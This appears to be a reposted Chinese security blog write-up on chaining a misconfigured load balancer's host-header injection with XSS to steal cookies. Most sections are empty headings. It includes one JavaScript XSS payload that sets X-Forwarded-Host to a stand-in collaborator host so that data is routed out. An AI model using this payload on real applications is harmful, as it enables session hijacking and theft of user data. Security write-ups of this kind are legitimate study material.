扫码领资料
获网安教程
来Track安全社区投稿~
千元稿费！还有保底奖励~（https://bbs.zkaq.cn）
引言
在本文中，我们将探讨一个涉及负载均衡器漏洞利用和跨站脚本攻击（XSS）来劫取应用程序Cookies的实际场景。由于保密协议的限制，我们将省略具体名称和截图，但我们会详细分析攻击过程及其影响。通过将负载均衡器的主机头注入漏洞与XSS攻击结合，攻击者绕过了Cookies的保护机制，获得了未授权的敏感信息。这个案例研究提醒我们，处理和缓解这些漏洞对于保护应用程序和用户数据至关重要。
应用程序交互流程
从黑盒测试的角度来看，应用程序的交互流程可以总结如下：
混淆负载均衡器
与 XSS 链接
function httpGet(Url){var xmlHttp = new XMLHttpRequest(); // Create a new XMLHttpRequest objectxmlHttp.open( “GET”, Url, false ); // Initialize the requestxmlHttp.setRequestHeader(“X-Forwarded-Host”, “https://collaborator-server.com"); // Set a custom HTTP header (X-Forwarded-Host) pointing to collaborator serverxmlHttp.send( null ); // Send the requestreturn xmlHttp.responseText;}httpGet(“https://vulnerableapp.host/"); // Run payload
攻击流程
结论
声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。
原文始发于微信公众号（白帽子左一）：利用配置错误的负载均衡器，通过XSS窃取Cookies
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论